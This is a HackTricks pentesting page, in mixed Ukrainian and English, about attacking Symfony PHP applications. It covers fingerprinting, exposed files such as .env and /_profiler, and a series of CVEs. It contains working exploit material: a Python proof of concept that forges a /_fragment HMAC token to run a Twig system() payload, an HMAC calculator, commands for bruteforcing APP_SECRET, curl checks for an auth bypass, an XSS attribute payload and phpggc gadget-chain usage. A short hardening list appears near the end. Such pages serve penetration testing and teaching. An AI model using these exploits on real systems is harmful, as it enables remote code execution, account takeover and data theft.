Symfony

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Symfony is one of the most widely-used PHP frameworks and regularly appears in assessments of enterprise, e-commerce and CMS targets (Drupal, Shopware, Ibexa, OroCRM … all embed Symfony components). Ця сторінка збирає офензивні поради, типові помилки конфігурації та останні вразливості, які варто мати у вашому чек-листі при виявленні Symfony-додатку.

Historical note: A large part of the ecosystem still runs the 5.4 LTS branch (EOL November 2025). Symfony 7.4 became the new LTS in Nov 2025 and will receive security fixes until Nov 2029. Always verify the exact patch-level because many 2024‑2026 advisories were fixed only in micro releases.


Recon & Enumeration

Finger-printing

  • HTTP response headers: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link or cookies starting with sf_redirect, sf_session, MOCKSESSID.
  • Source code leaks (composer.json, composer.lock, /vendor/…) часто показують точну версію:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Public routes that only exist on Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pretty error pages)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists: symfony.txt → шукайте /_fragment, /_profiler, .env, .htaccess.

Interesting files & endpoints

PathWhy it matters
/.env, /.env.local, /.env.prodЧасто неправильно розгортаються → leaks APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgSource disclosure → credentials + business logic
/var/log/*.log, /log/dev.logНеправильна конфігурація web-root відкриває stack-traces
/_profilerПовна історія запитів, конфігурація, service container, APP_SECRET (≤ 3.4)
/_fragmentТочка входу, яку використовують ESI/HInclude. Зловживання можливе після того, як ви знаєте APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE якщо доступний (CVE-2017-9841)
/index.php/_error/{code}Finger-print & іноді leak exception traces

High-impact Vulnerabilities

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 originally, but still appears on modern targets when debug is left enabled or .env is exposed.
  • Після отримання 32-символьного APP_SECRET скрафтіть HMAC токен і зловживайте внутрішнім контролером render() щоб виконати довільний Twig:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Відмінний розбір та скрипт для експлуатації: Ambionics blog (linked in References).

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)

  • Впливає на версії нижче 5.4.50, 6.4.29 та 7.3.7. Нормалізація шляху могла видаляти ведучий /, що ламало правила контролю доступу, які припускають /admin тощо.
  • Швидка перевірка: curl -H 'PATH_INFO: admin/secret' https://target/index.php → якщо доступ до admin-маршрутів відбувається без авторизації — виявлено.
  • Патч: оновити symfony/http-foundation або весь фреймворк до виправленого патч-рівня.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • Впливає на версії нижче 5.4.51, 6.4.33, 7.3.11, 7.4.5 та 8.0.5 на Windows коли PHP запускається з MSYS2 (Git-Bash, mingw). Process не коректно екранує =, що призводить до пошкоджених шляхів; деструктивні команди (rmdir, del) можуть торкнутися небажаних директорій.
  • Якщо ви можете завантажити PHP-скрипт або впливати на Composer/CLI-хелпери, що викликають Process, скрафтьте аргументи з = (наприклад E:/=tmp/delete) щоб спричинити перезапис шляху.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • Коли register_argv_argc=On і використовуються non-SAPI runtimes, спеціально сформовані рядки запиту можуть змінювати APP_ENV/APP_DEBUG через парсинг argv. Виправлено в 5.4.46/6.4.14/7.1.7.
  • Шукайте /?--env=prod або подібні записи в логах.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • Спеціальні символи в URI не валідовались так, як це роблять браузери, що дозволяло редирект на домени під контролем атакуючого. Виправлено в 5.4.46/6.4.14/7.1.7.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-component & symfony/ux-live-component before 2.25.1 рендерять {{ attributes }} без екранування → attribute injection/XSS. Якщо додаток дозволяє користувачам визначати атрибути компонентів (admin CMS, email templating), це можна ланцюжити до виконання скриптів.
  • Оновіть обидва пакети до 2.25.1+. Як ручний експлойт — помістіть JS в значення атрибута, яке передається в кастомний компонент, і спричиніть його рендеринг.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • Компонент Process шукав поточний робочий каталог перед PATH на Windows. Атакуючий, який може завантажити tar.exe, cmd.exe тощо у записуваний web-root і викликати Process (наприклад розпакування файлів, генерація PDF), отримує виконання команд.
  • Виправлено в 5.4.50, 6.4.14, 7.1.7.

8. Session-Fixation – CVE-2023-46733

  • Authentication guard повторно використовував існуючий session ID після логіну. Якщо атакуючий встановить cookie до аутентифікації жертви — він отримає доступ до аккаунта після логіну.

9. Twig sandbox XSS – CVE-2023-46734

  • В додатках, які відкривають доступ до шаблонів, керованих користувачем (admin CMS, email builder), фільтр nl2br можна було використати для обходу sandbox і інжекції JS.

10. Symfony 1 gadget chains (still found in legacy apps)

  • phpggc symfony/1 system id генерує Phar payload, що викликає RCE при unserialize() на класах типу sfNamespacedParameterHolder. Перевірте endpoints для завантаження файлів та phar:// wrappers.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce слабкого APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE через відкриту Symfony Console

Якщо bin/console доступний через php-fpm або пряме CLI upload:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Використовуйте deserialization gadgets inside the cache directory або напишіть шкідливий Twig template, який буде виконано під час наступного запиту.

Перевірте PATH_INFO bypass швидко (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

Якщо відрендерований вихід виводить атрибут без екранування, XSS вдається. Оновіть до 2.25.1+.


Рекомендації з безпеки

  1. Never deploy debug (APP_ENV=dev, APP_DEBUG=1) у production; заблокуйте /app_dev.php, /_profiler, /_wdt у конфігурації веб-сервера.
  2. Зберігайте секрети в env vars або vault/secrets.local.php, ніколи у файлах, доступних через document-root.
  3. Забезпечте керування патчами — підписуйтеся на Symfony security advisories та підтримуйте принаймні LTS patch-level (5.4.x до Nov 2025, 6.4 до Nov 2027, 7.4 до Nov 2029).
  4. Якщо ви працюєте на Windows, оновіться негайно, щоб пом’якшити наслідки CVE-2024-51736 & CVE-2026-24739 або додайте open_basedir/disable_functions як багаторівневий захист.

Корисні offensive інструменти

  • ambionics/symfony-exploits – secret-fragment RCE, debugger routes discovery.
  • phpggc – Ready-made gadget chains for Symfony 1 & 2.
  • sf-encoder – невеликий допоміжний інструмент для обчислення _fragment HMAC (Go implementation).

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks